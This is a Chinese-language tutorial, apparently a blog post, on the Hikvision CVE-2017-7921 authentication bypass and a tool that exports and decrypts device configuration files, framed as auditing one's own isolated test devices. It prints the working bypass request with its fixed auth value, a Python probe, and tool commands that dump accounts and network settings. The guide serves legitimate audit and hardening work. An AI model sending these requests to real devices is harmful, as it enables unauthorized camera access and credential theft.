简介:安防设备的认证绕过漏洞,本质上源于服务端对URL中身份标识的过度信任。CVE-2017-7921正是这类典型问题:攻击者无需密码,只需构造特定auth参数,就可能被设备当作管理员直接放行。漏洞的后续价值在于配置解密——将导出的加密配置文件还原为明文,从而暴露IP、账号、端口等敏感资产信息。这一能力在固件升级评估、设备入网检测、存量资产梳理等场景中非常实用,既能确认设备是否受影响,也能为后续加固提供审计证据。结合隔离测试环境与成对基线验证,安全工程师可以更高效地把漏洞验证转化为可落地的整改依据。
1. 拿到 hikvision_CVE-2017-7921_auth_bypass_config_decryptor-main.zip,先别急着找设备试
拿到 hikvision_CVE-2017-7921_auth_bypass_config_decryptor-main.zip,很多人的第一反应是找台设备试一下。我建议先把它当成漏洞机理标本。CVE-2017-7921 是安防设备圈里非常典型的认证绕过漏洞,而这个包的价值在于交叉能力:绕过鉴权把配置导出,再解密成明文,IP、账号、端口这些平时被加密藏起来的信息直接暴露。这套流程在固件升级前评估、设备入网检测、存量资产梳理里都很实用。标题里的 hikvision 对应厂商,下文统一用“目标厂商”代指。适合两类读者:做设备入网检测或安全巡检的工程师,想判断网内设备是否受影响;以及刚接触设备安全测试的新手,想搞懂认证绕过和配置解密怎么串起来。下面所有操作都以有管理权的隔离测试设备为边界。
2. 认证为什么能被绕掉:看懂 CVE-2017-7921,才能理解这个包的设计
2.1 根因:把身份标识塞进 URL,服务端却直接信任了
CVE-2017-7921 的根子在于设备对用户传入的身份标识缺少有效校验。在老版本固件里,部分接口允许客户端通过 URL 中的 auth 参数直接携带一段编码后的身份串,服务端拿到这个参数后没有去会话里核对,而是直接把它当成已登录用户来处理。也就是说,攻击者不需要知道密码,只要把管理员身份信息按对应编码规则放进请求里,接口就认为你是管理员。
这种问题在当时的嵌入式设备里不少见,因为硬件资源有限,很多鉴权逻辑被做成“前端判断”,服务端只信任请求里带的标识,没有做会话状态管理。目标厂商当时有多个产品线共用一套 Web 模块,所以影响面不是单台设备,而是同一个固件分支下的摄像机、网络录像机都会被波及。
下面是一个验证请求,注意只在你有管理权的隔离测试设备上执行:
# 只发往你自己管理的测试设备;公网和未授权设备一律不要发 curl -k -i --max-time 5 \ "http://192.168.1.64/Security/users?auth=YWRtaW46MTEK" \ -H "Host: 192.168.1.64"这段命令里,auth 参数的取值YWRtaW46MTEK是一段固定编码结果,对应字符串admin:1\n。在受影响版本里,服务端会直接把它识别成管理员身份并返回用户列表。--max-time 5是防止设备无响应时请求长时间挂住,-k用于跳过 HTTPS 证书校验,测试环境里很常用。
判断方法也简单:先把不带 auth 的基线请求发一遍,正常情况下返回 401 未授权;再带上 auth 参数,如果返回 200 且响应体里能看到用户列表 XML,说明认证被绕过了。反过来,如果带不带都是 401,那设备大概率已经打过补丁。这个方法看着土,但它是整个工具包流程的第一环——绕过不成功,后面导出配置就无从谈起。
2.2 配置文件加密的两种形态:固定密钥与自定义变换
设备为什么要给配置文件加密?因为配置备份和远程下发的时候,文件里包含网络参数、管理员口令、平台接入信息,如果明文传输,抓包就能看到全部家底。厂商通常会先加密再导出,但关键问题在加密实现方式。
第一种是固定密钥加密。很多老固件把密钥写死在程序里,所有设备用同一把钥匙。对这类实现,解密工具只要逆向出密钥,就能批量解密同版本所有设备。这也是很多解密脚本能“一个文件通吃”的原因。
第二种是自定义变换。厂商自己写一个字节级变换函数,对配置文件做移位、异或、加盐之类的处理。这类实现没有标准算法可查,解密器必须逆向固件里的变换函数,再把它复刻成脚本。目标厂商不同时期的产品分别用了这两种思路,甚至同一系列的不同固件版本都会切换算法分支。
理解这一点,你就不会在“同一台设备解密成功、升级固件后马上失败”时一脸懵。固件版本一变,加密分支可能就换了。解密工具一般通过配置文件头几个字节的特征来判断走哪条分支,比如魔数、长度位、压缩标志位。你拿到一个新的配置文件时,第一件事不是直接丢进解密器,而是先用 hexdump 看文件头,确定它属于哪种形态。
2.3 工具选型差异:专项脚本和通用漏洞扫描器不是一回事
| 维度 | 通用漏洞扫描器 | 这类专项脚本包 |
|---|---|---|
| 漏洞发现 | 能扫出 CVE 是否存在 | 验证绕过并直接导出配置 |
| 配置还原 | 基本不做 | 导出后解密成明文 |
| 资产价值 | 只有风险列表 | 得到账号、网络、通道等实际配置 |
| 使用门槛 | 需要配模板和凭证 | 参数少,跑起来快 |
| 风险面 | 扫描流量大、特征明显 | 请求路径固定,但动作更深 |
如果你要快速摸底全网,扫描器更合适;如果你要确认某台具体设备是否受影响,还想拿到证据和配置明细,专项脚本更合适。我一般先用扫描器做全量粗筛,再用这种专项脚本对命中设备做单点确认,两者配合而不是互相替代。
说句实在话,这种包用得好是审计工具,用得歪就是攻击武器。我的习惯是只拿它做固件升级前后的对比验证,不拿它去扫资产清单之外的地址。动手之前先把边界划清楚,后面不容易翻车。
3. 把 zip 跑起来:环境、依赖与最小可运行命令
3.1 解压与依赖:先看清目录再动手
压缩包解压之后,通常能看到主脚本、依赖模块、说明文件和一个示例配置文件。命名不一定统一,我先给一套通用的操作流程:
# 假设压缩包已经放到 ~/tools 目录下 cd ~/tools unzip hikvision_CVE-2017-7921_auth_bypass_config_decryptor-main.zip cd hikvision_CVE-2017-7921_auth_bypass_config_decryptor-main # 建虚拟环境,避免污染系统 Python python3 -m venv .venv source .venv/bin/activate python -m pip install --upgrade pip # 有 requirements.txt 就直接装;没有就按运行报错逐项补装 python -m pip install -r requirements.txt这段命令里几个点说明一下:venv 虚拟环境是强烈建议,这类脚本依赖的加密库版本如果和系统其他项目冲突,排查起来很累;requirements.txt 里最常见的是 requests 和 pycryptodome,前者发 HTTP 请求,后者做 AES 解密。
装完依赖后先别急着碰真设备,先看入口脚本名。不同仓库的主脚本可能叫 main.py、cli.py、decryptor.py,直接执行ls看一下就知道。然后跑一次帮助命令:
python main.py --help没有--help支持的脚本,直接看源码里的if __name__ == "__main__"部分,那里通常会列出参数解析逻辑。这一步花两分钟,能省掉后面不少瞎试。
3.2 最小可运行命令:先跑离线解密,再走完整链路
我的建议是先跑“纯离线解密”模式。用一份已经导出的加密配置文件做输入,把解密链路跑通,确认算法分支没问题,再混合认证绕过链路。这是调试里最有效的做法,能区分问题是出在网络请求还是出在解密本身。
# 先跑离线解密:输入加密配置文件,输出明文配置 python decrypt_tool.py --input config_backup.bin --output config_plain.xml # 再跑完整链路:绕过后导出配置并解密,仅限授权测试设备 python decrypt_tool.py --target 192.168.1.64 --port 80 \ --export ./backup.bin --decrypt ./result.xml参数含义整理如下:
| 参数 | 作用 | 说明 |
|---|---|---|
--input/-i | 指定加密配置文件 | 离线解密模式,不访问网络 |
--output/-o | 明文输出路径 | 建议用 .xml 后缀 |
--target | 设备 IP 地址 | 只填测试网段地址 |
--port | 设备端口 | 常见 80、443、8000 |
--export | 导出配置的存放路径 | 相当于中间产物 |
--decrypt | 最终明文输出路径 | 完整链路模式 |
--timeout | 请求超时秒数 | 建议 5 秒,避免挂死 |
第一次跑完整链路时,如果工具支持--dry-run,先加上只打印请求参数不发包。等确认目标、路径、参数都正确了,再去掉它真发请求。这个习惯能避免很多误操作。
3.3 解密后的输出长什么样
解密出来的配置通常不是单一字段,而是一份以设备接口风格组织的 XML,包含系统信息、网络接口、用户列表、通道配置、报警配置。字段名在不同固件版本里有差异,但整体结构是稳定的。下面是一个清理过敏感信息的示意片段:
<ConfigFile> <Network> <Interface> <IP>192.168.1.64</IP> <Netmask>255.255.255.0</Netmask> <Gateway>192.168.1.1</Gateway> </Interface> </Network> <UserList> <User> <id>1</id> <userName>admin</userName> <role>admin</role> <passwordHash>hash_value_here</passwordHash> </User> </UserList> </ConfigFile>这份输出就是你后续审计的基础。第一轮核对只要做三件事:看Network里的 IP 是否与资产台账一致;看UserList里有没有多出来的账号;看有没有开放的调试端口或额外的远程服务。这些信息在 Web 后台里也能看到,但通过解密配置去核对,能发现“后台看不到但配置里存在”的隐藏项,这也是解密这一步的核心价值。
4. 隔离网络里的设备自查:从 mock 靶机到真机验证的一趟流程
4.1 先用 mock 靶机验证脚本行为
真机上有业务,错误请求可能触发账号锁定策略,有些设备在连续收到异常未授权请求后会记录告警。所以第一遍验证用本地 mock 服务来做回放,把脚本的请求路径和判断逻辑先确认清楚。
# 模拟设备响应:只用于本地验证脚本行为,不对外提供服务 from http.server import HTTPServer, BaseHTTPRequestHandler class FakeDevice(BaseHTTPRequestHandler): def do_GET(self): # 带 auth 参数且路径匹配时,返回 200 和用户列表 XML # 否则返回 401,模拟被正常鉴权拦截 if self.path.startswith("/Security/users") and "auth=" in self.path: body = b"<UserList><User><userName>admin</userName><role>admin</role></User></UserList>" self.send_response(200) self.send_header("Content-Type", "application/xml") self.end_headers() self.wfile.write(body) else: self.send_response(401) self.end_headers() if __name__ == "__main__": # 只监听本机回环地址,不要绑定 0.0.0.0 HTTPServer(("127.0.0.1", 8080), FakeDevice).serve_forever()把 mock 跑起来后,让脚本指向http://127.0.0.1:8080,观察它是否按预期发送请求,是否把 200 响应识别为“认证绕过存在”。如果 mock 都没判出来,说明是脚本参数或判断逻辑的问题,这个时候不要上真机,先回源头排查。
这个 mock 的另一个用途是抓请求格式。在do_GET里加两行打印self.path和self.headers,就能看到脚本实际发出的请求长什么样,对照前面 curl 的格式检查有没有偏差。
4.2 构造认证绕过验证请求:基线 401 与绕过 200 成对看
确认脚本行为正常后,才轮到真机验证。这一步我习惯用 Python 而不是 curl,因为要同时对比基线请求和绕过请求两个状态码。
import requests # 授权范围内:目标必须是你自己管理的设备,且网络为隔离测试网段 target = "http://192.168.1.64" auth_value = "YWRtaW46MTEK" # 对应 "admin:1\n" 的编码结果 # 基线请求:预期返回 401 未授权 baseline = requests.get(f"{target}/Security/users", timeout=5) print("[baseline]", baseline.status_code) # 绕过验证请求:观察状态码与响应体 probe = requests.get( f"{target}/Security/users", params={"auth": auth_value}, timeout=5, ) print("[probe]", probe.status_code) print(probe.text[:300])这里的关键是成对看结果:只有“基线 401 + 探针 200”能证明漏洞存在。如果基线请求直接返回 200,说明设备允许匿名访问,问题性质完全不同,那是另一条加固路线。如果探针也返回 401,说明设备已经修复,记录下来就行。
注意requests用params传 auth 值时,框架会自动做 URL 编码,比自己手动拼 URL 稳。如果你的本机配了代理,这个请求可能被代理转发出去,务必显式关闭代理:proxies={"http": None, "https": None}。这条我吃过亏,测试请求被代理带偏网段,差点发到别人的地址上。
4.3 导出加密配置并解密:把验证结果变成审计证据
绕过验证通过后,下一步是通过设备管理接口导出加密配置。常见做法是用管理员账号调用配置备份接口:
# 用管理员账号从备份接口导出加密配置 # 接口路径在不同固件版本可能有差异,以实际设备为准 curl -k --max-time 30 -u admin:your_password \ "http://192.168.1.64/ISAPI/System/backup" \ -o backup.bin导出成功后先看文件头。正常加密配置有固定头部特征,文件大小从几百 KB 到几 MB 不等。如果导出的文件只有几 KB,大概率是错误页面或空响应,要检查账号权限和接口路径。
然后再走离线解密:
python decrypt_tool.py --input backup.bin --output plain.xml解密成功后,把plain.xml里的用户列表、网络地址、端口配置和资产台账逐项核对。这一步的产出不只是“这台设备有漏洞”的结论,而是一份包含实际影响面的审计证据:哪些账号暴露了、哪个网段配置错了、有没有开放多余服务。有了这份依据,后续推动修复和整改就有说服力。
5. 实战避坑:解密失败、误报与误操作的五类现场
5.1 现象一:解密输出全是乱码
现象:执行解密命令没有任何报错,但输出文件打开是一堆不可读字节,连 XML 根节点都找不到。
原因:最常见的是加密分支判断错了。固件升级后密钥或变换算法变了,而工具里对应的解密逻辑没有匹配上。另一种可能是配置导出时经过了压缩,工具没有先解压就直接解密。
解决:先看文件头。用hexdump -C backup.bin | head -n 5检查前几个字节,如果是常见压缩魔数,先解压再解密;如果不是,拿固件版本号对照工具支持的版本区间。不要自己去猜密钥,去查该固件版本对应的加密方式描述,确定算法分支。
5.2 现象二:绕过请求返回 401 或 404
现象:基线请求是 401,按公开方法带 auth 参数后依然 401;或者直接 404 找不到路径。
原因:401 通常意味着设备已经打了补丁,鉴权不再信任 URL 参数,这是好事;404 则很可能是接口路径不对,不同语言版本或固件版本对接口子路径命名不一致。
解决:401 就直接记录“已修复”,不要反复撞;404 检查接口路径,/Security/users和/ISAPI/Security/users之间切换再试。无论哪种情况,连续探测不要超过三次,目标厂商的设备普遍有账号锁定策略,短时间内多次未授权访问会触发锁定,给自己找麻烦。
5.3 现象三:Windows 终端下运行直接报错
现象:在 cmd 或 PowerShell 里跑 Python 脚本,报UnicodeEncodeError或ModuleNotFoundError,哪怕依赖已经装了。
原因:Windows 控制台默认编码是本地编码,脚本里print输出 XML 内容时触发编码错误;ModuleNotFoundError通常是没激活虚拟环境,或者依赖装到了另一个 Python 解释器里。
解决:跑之前先执行set PYTHONIOENCODING=utf-8;文件路径尽量用正斜杠或 raw string,避免反斜杠转义问题;确保依赖装到当前 venv,用where python确认解释器路径。Windows 下激活 venv 用.venv\Scripts\activate,不要照抄 Linux 的source命令。
5.4 现象四:解密出的配置和 Web 后台当前设置对不上
现象:解密成功、结构正常,但 IP、账号这些字段和登录 Web 后台看到的不一致。
原因:备份文件可能是历史版本或只包含部分配置分组,不是设备当前内存中的全量配置。有些参数是设备运行时动态生成的,不会落到静态配置文件里。
解决:导出前确认备份接口是否有全量参数;同一台设备连续导出两次,对比文件哈希,如果两次不一致说明配置在动态变化;以 Web 后台当前显示为基准,解密结果只当作审计证据之一,不要当最终事实。我在一次项目里就因为太相信解密结果,把一台设备的旧 IP 当成了现网地址,排查了半天才发现是备份文件过期。
5.5 现象五:本该打在隔离网段的流量跑到了别的主机上
现象:测试完查看设备日志,发现非预期主机收到大量异常探测,或平台侧记录了某个陌生地址的访问。
原因:脚本里的目标 IP 是手工填的,填错网段最常见;本机走了代理,DNS 把内网名解析到别的地址;或者工具支持域名输入,域名一错就发偏了。
解决:测试前先ping和arp确认目标 MAC 与 IP 对应关系;脚本加白名单校验,目标不在私网地址段内就直接拒绝发包;有代理就显式关闭。这是我自己的血泪经验,脚本一旦批量跑错目标,后续要花十倍精力处理告警和解释。宁可多写几行校验代码,也不要图省事直接硬编码 IP。
6. 把结论用起来:解密配置反推加固项与回归验证
6.1 从明文配置里挑高危字段优先处理
拿到解密后的配置,我习惯按下表顺序做审计:
| 配置节点 | 审计重点 | 加固动作 |
|---|---|---|
| 用户列表 | 是否存在多余账号、默认口令 | 删除无关账号,强制改强口令 |
| 网络参数 | RTSP、HTTP 端口是否暴露 | 限制访问源,按需改端口 |
| 服务开关 | ONVIF、调试口是否开启 | 关闭未使用的远程能力 |
| 平台接入 | 接入服务器地址和密钥 | 确认对接方无误,轮换密钥 |
这些字段在解密之前是黑匣子,解密之后可以直接对着清单逐项确认,效率比在 Web 后台一个个页面翻高很多。
6.2 升级与回归验证
修复 CVE-2017-7921 的落地动作就是升级固件到包含修复的版本。升级后重新做一遍成对请求,确认基线是 401、探针也是 401,说明认证绕过已堵住。再导出一次配置,用旧版解密工具跑一遍,如果算法分支已经切换,解密会失败或文件头特征变化,这本身也是修复生效的佐证。
6.3 我的收尾习惯
我现在每测完一台设备,都会把固件版本、请求响应码、解密配置哈希、处理动作放进同一个存档文件,同步给运维登记。这样下次巡检再看到同一型号,可以先翻存档判断是否已经处理过,不用重复踩坑。测试工具的版本和用途也会在文档里注明“仅限授权资产”,协作时能省掉很多误会。希望帮到你。
本文还有配套的精品资源,点击获取